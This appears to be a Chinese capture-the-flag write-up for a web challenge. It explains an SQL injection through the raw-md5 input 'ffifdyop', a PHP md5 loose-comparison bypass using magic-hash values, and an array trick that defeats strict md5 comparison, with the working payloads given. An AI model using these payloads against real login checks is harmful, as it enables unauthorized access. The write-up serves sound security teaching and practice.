一道看似难其实不的题。
然而我却琢磨了挺久。
上图:
第一反应是SQL注入,尝试一下。
SQL注入爆不出来, 但是在响应头看见了hint字样,可以用ffifdyop绕过。具体原理就是ffifdyop经过md5加密后就是276f722736c95d99e921722cf9ed621c。md5函数加密后会返回16进制字符串,就成了'or'66�]��!r,��b(没错这里就是乱码)
也就是说
select * from 'admin' where password=md5($pass,true)
会变成
select * from 'admin' where password='' or'6蒥欓!r,b'
or后面的句子第一个字母是非0打头的数字符,比如为 ‘ 1abc ’ 或者 ‘ -1bde ’都会被认为是true。
以0开头会认为是false.而mysql会把hex转换为ascii形式,所以拼接后就是
select * from 'admin' where password='' or '6xxxxx'
输入ffifdyop后就是如图所示
查看页面源码,
长这个样子。
关键部分在:
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
a不等于b,但a的md5值要等于b
典型的md5弱比较,构造payload
?a=QNKCDZO&b=s878926199a
是这个模样
利用数组
md5强比较,此时如果传入的两个参数不是字符串,而是数组,md5()函数无法解出其数值,而且不会报错,就会得到===强比较的值相等
构造:
param1[]=1¶m2[]=2
即可。